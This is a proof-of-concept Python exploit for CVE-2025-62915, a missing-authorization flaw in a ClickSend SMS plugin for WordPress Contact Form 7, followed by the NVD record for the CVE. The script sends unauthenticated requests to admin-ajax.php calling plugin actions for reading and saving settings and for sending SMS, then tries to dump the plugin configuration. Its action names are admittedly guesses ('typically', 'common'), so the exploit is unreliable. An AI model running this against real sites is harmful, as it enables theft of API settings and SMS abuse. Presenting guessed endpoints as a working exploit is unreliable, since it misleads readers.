CVE-2025-62915

# CVE-2025-62915 PoC - ClickSend Contact Form 7 Missing Authorization # This PoC demonstrates the access control vulnerability in clicksend-contactform7 plugin import requests import sys # Configuration TARGET_URL = "http://target-wordpress-site.com" # The vulnerable endpoint - typically an AJAX action or REST API route VULNERABLE_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-62915""" # Method 1: Try to access admin functionality without authentication print("[*] Testing unauthenticated access to admin functions...") # Common vulnerable AJAX actions in this plugin vulnerable_actions = [ "clicksend_get_settings", "clicksend_save_settings", "clicksend_test_sms", "clicksend_send_sms" ] for action in vulnerable_actions: payload = { "action": action, "nonce": "" # May not be required due to missing authorization } try: response = requests.post(VULNERABLE_ENDPOINT, data=payload, timeout=10) # Check for successful access without proper authorization if response.status_code == 200: # Look for indicators of successful unauthorized access if "success" in response.text.lower() or "settings" in response.text.lower(): print(f"[+] VULNERABLE: Action '{action}' accessible without proper authorization") print(f"[+] Response snippet: {response.text[:200]}...") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing action {action}: {e}") # Method 2: Test with low-privileged user credentials print("\n[*] Testing access with low-privileged user...") # If you have low-privilege credentials low_priv_session = requests.Session() # low_priv_session.post(f"{TARGET_URL}/wp-login.php", data={ # "log": "low_priv_user", # "pwd": "password" # }) print("[*] Exploit requires manual verification based on specific plugin version") print("[*] Please refer to Patchstack advisory for detailed exploitation steps") return False def exploit_settings_access(): """Attempt to extract or modify plugin settings""" print("\n[*] Attempting to retrieve plugin settings...") # This would attempt to access the settings without proper authorization exploit_data = { "action": "clicksend_get_settings", "request_type": "get_config" } try: response = requests.post(VULNERABLE_ENDPOINT, data=exploit_data, timeout=10) if response.status_code == 200: print(f"[+] Settings retrieved: {response.text}") return response.json() if response.headers.get('content-type', '').startswith('application/json') else response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-62915 - ClickSend Contact Form 7 Missing Authorization PoC") print("=" * 70) if check_vulnerability(): print("\n[!] Target is VULNERABLE to CVE-2025-62915") print("[!] Recommendation: Update plugin to version > 1.4.0 immediately") else: print("\n[-] Target may not be vulnerable or requires further testing")

{"cve": {"id": "CVE-2025-62915", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:50.940", "lastModified": "2026-04-27T18:16:30.253", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in clicksend SMS Contact Form 7 Notifications by ClickSend clicksend-contactform7 allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects SMS Contact Form 7 Notifications by ClickSend: from n/a through <= 1.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/clicksend-contactform7/vulnerability/wordpress-sms-contact-form-7-notifications-by-clicksend-plugin-1-4-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}